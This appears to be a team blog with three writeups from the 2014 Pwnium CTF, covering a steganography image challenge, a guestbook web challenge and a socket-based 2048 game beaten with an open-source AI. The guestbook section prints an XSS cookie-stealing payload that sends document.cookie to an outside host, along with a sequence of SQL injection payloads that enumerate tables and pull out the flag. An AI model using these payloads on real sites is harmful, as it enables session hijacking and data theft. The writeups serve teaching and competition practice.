Matter of Combination - Stego75 - (Pwnium CTF)
This is a writeup of the challenge Matter of combination from the 2014 Pwnium CTF.
The team that participated for in this CTF representing 0xAWES0ME consisted of Joey Geralnik, Yoav Ben Shalom, Itay Yona, Gal Dor and me.
We came in first place!.
There have been multiple requests for a writeup for Stego75 and there weren’t any yet (and Joey was getting pushy about me writing this already) so here it is.
Le Challenge
After downloading the challenge and opening it you see the following PNG image of a blue flag.
one of the first things you will immidiately notice are a few diagonal lines that are one pixel wide that cross the image from the top left to bottom right into a depth of exactly 55 pixels down into the image.
That looks interesting!, lets take a closer look…
Pattern?
So, just by opening paint you can check the pixel offsets and you’ll notice there’s a pattern, each line is perfectly diagonal and is exactly 55 pixels long, and at the location that one line cuts ends, a new one continues again from the top of the image.
There are six of these lines, these are the beginning and ending points of the six pixel ladders, each with a length of 56 pixels, you can see the X,Y’s of the ladders in the picture below.
Extraction
Okay, this is good, lets write a bit of code so we can extract the data, we will use Python & PIL (Python Imaging Library).
Now that we have our code, lets take a look at the actual RGB data of the pixels to see if there is something we can conclude from it.
After extracting the RGB data and looking at the actual RGB numbers there is a noticable pattern of some relation between the red channel and the blue channel, looking at the data at various cuts/offsets i noticed that it seems to stay in some proportion to each other, i tried a operation or two and noticed that every time that i subtract the blue channel from the red channel i get a character which is the ASCII range (a printable character).
Neat!, lets print out all the data.
Looks like there’s a base64 string in the beginning of our text (it’s even easier to notice with the == base64 padding)it’s length is exactly 56 characters, it’s our first “ladder” beginning at 0,1!.
lets decode it!
Win!
I rather enjoyed this stego challenge, it was short and to the point, when the challenge was released we jumped at it and threw some powerful stego tools at it, sometimes it’s better to look at things at ground level first.
Here is the full solution which will print out the flag, it requires PIL as mentioned.
See you at the next CTF!, Matan M. Mates
Guestbook - SQL Injection (Pwnium CTF)
This is a writeup of the challenge guestbook from the 2014 Pwnium CTF.
See my previous post for some details about the competition.
This was a relatively simple SQL injection level but there are no writeups available online and I saw some people requesting one.
The challenge
We are given the url of a website and told to find the key.
Luckily the website is still up so I was able to recreate my exploit (note to self: take better notes in the future).
XSS?
The first thing we noticed after logging in to the website and trying to create a post is that the form is vulnerable to xss. If we enter a post with the title:
<script>alert(document.cookie);</script>
and submit it we will get a popup window.
We can see that there is a cookie called “c” set and that it is accessible through javascript. Trying on another browser, we see that setting “c” is enough to log in as another user.
The next interesting page is the contact page. There we can send a message to the admin that will presumably also be vulnerably to xss. We created a basic cookie stealing exploit - a script that does
window.location = "http://www.example.com/cookiesteal?" + escape(document.cookie);
sent it to the admin and then waited for the admin to see the message, get redirected to our website, and see his cookie in our server logs.
We waited. And waited.
Eventually we realized that the admin doesn’t actually exist and isn’t going to be visiting our site.
Time to look for another vulnerability.
SQLI
Going back to the ‘post a comment’ page, we see what else we can do (first we should create a new user so we don’t have to deal with those alerts from the xss atempt). This time, let’s try entering a single quote in the subject
'
We get an error! Yay! We experiment with quotes and comments to try to enter a valid post. The first one that works is:
Title:
g', 'h
Content:
h', 'i') --
(Note the space at the end of the line)
This prints out success. We can simplify this and use just the title with:
abc', 'def', 'ghi') --
Which once again works. However, we don’t see the post on the page. If the first field is title and the second field is content, we can guess that the third field is the username. That is - the post is being inserted into the database as part of a query of the form INSERT INTO posts (title, content, user) VALUES (%s, %s, %s);
. My username was xxb - the result of random keyboard mashing. Trying
abc', 'def', 'xxb') --
We again get a success message and this time we can see the post!
Exploiting
Let’s try calling a function instead of the second field:
abc', version(), 'xxb') --
Result: 5.5.37-0ubuntu0.14.04.1
A quick google search reveals that 5.5.37 is a mysql version number. Let’s try to see what tables the database has:
abc', (SELECT table_name FROM INFORMATION_SCHEMA.TABLES limit 1), 'xxb') --
Result: CHARACTER_SETS
Hmm, not so helpful.
abc', (SELECT table_name FROM INFORMATION_SCHEMA.TABLES order by
CREATE_TIME limit 1), 'xxb') --
Result: post
Alright!
abc', (SELECT table_name FROM INFORMATION_SCHEMA.TABLES where
table_name != 'post' order by CREATE_TIME limit 1), 'xxb') --
Result: user
abc', (SELECT table_name FROM INFORMATION_SCHEMA.TABLES where
table_name not in ('post', 'user') order by CREATE_TIME limit 1), 'xxb') --
Result: flag
Win! I will admit I spent some time examining users and posts and logging in as the admin user before thinking to search for another table.
Now we just need to figure out what columns the table has:
abc', (SELECT table_name FROM INFORMATION_SCHEMA.TABLES where
table_name not in ('post', 'user') order by CREATE_TIME limit 1), 'xxb') --
Result: flag
Victory?
abc', (SELECT flag from flag), 'xxb') --
Result: Error
Hmm…
abc', (SELECT flag from flag LIMIT 1), 'xxb') --
Result: ''
Last try:
abc', (SELECT flag from flag where flag != '' LIMIT 1), 'xxb') --
Pwnium{a6f33b4062b8bdcf3fe12e024568f67b}
Yay! That’s the flag!
2048 - (Pwnium CTF)
This is a writeup of the challenge 2048 from the 2014 Pwnium CTF.
I participated in this challenge together with Yoav Ben Shalom, Matan Mates, Itay Yona, and Gal Dor. This was the second CTF we participated in (as 0xAWES0ME) and this time we came in first place!
A few weeks have passed since the competition. Many writeups have been written for the competition, so I will focus my writeups on challenges that have no writeups written for them yet. These won’t necessarilly be the challenges we found hardest but they will be challenges that few other teams solved (at least other teams who post writeups).
The challenge
This challenge was to connect to a socket on a specific ip address on port 2048, and play and win a game of 2048 in less than 3:30 minutes.
When we first connect to the socket we are given instructions followed by the board. We can send back ‘l’, ‘r’, ‘u’, ‘d’ to move left, right, up, or down, and then we get a new board sent over the socket.
While some of our team members are quite skilled at 2048 (it’s part of our intense training regime), winning in 3:30 minutes is not doable even for them.
The solution, of course, is to solve the game using AI. But why write our own AI when we can use just find an open source one?
First AI
The first AI we examined is the first google result for “2048 AI”. This AI uses minimax with alpha-beta pruning to try to find the best move. You can see this AI in practice here
There were a few problems with this AI. First, it was really slow. When running on the example webpage, it did not complete the game within 3:30 minutes. At first we thought that the animations might be to blame but then noticed that the AI was utilizing the animations for processing time. So without the animations the AI will give a worse result.
The second, and more important problem, is that the AI lost. We left it running in a browser window for a few minutes and came back to a losing game that had only gotten to 1024.
The code is written in javascript. We could fix the first issue by reimplementing it in C, but there’s still no guarantee that it will win and rewriting the code is too much work. Especially when there’s a better solution.
Second AI
Discarding the first AI, we continue searching and come upon a better AI.
This AI uses expectimax instead of minimax. Minimax assumes you are playing against an adverserial opponent who will choose the best move for him at any moment. However, in 2048 the placement of new pieces is random and not adverserial. By using expectimax we can make moves that are probabilistically more likely to win faster that if we use the result of minimax.
More importantly, this implementation is written in C with a “highly-efficient bitboard representation to search upwards of 10 million moves per second on recent hardware”. Jibber jabber technobabble, faster is better.
The AI compiles to an .so and comes with an example python program to communicate with it. We just need to rewrite the input system so that it gets input from the socket instead of the browser and we can run it to play.
The code is below. It’s mostly copied from 2048.py in the repository, with the Game class written to communicate with the game over the socket.
Because it was written under time constraints, it’s ugly and ineffecient. We repeatedly convert between different representations of the board and don’t use Multithreading to make our life easier.
But it’s fast enough to beat this challenge, so it’s good enough.
Last important point: we didn’t know what the output would look like once we won, and so we didn’t properly handle it. This caused our code to throw an exception once we won, without printing the solution to the level.
Luckily, we had wireshark open in the background and so were able to see the password that had been sent to the program.
Moral of the story - keep wireshark open when solving challenges that work over sockets.
comments powered by Disqus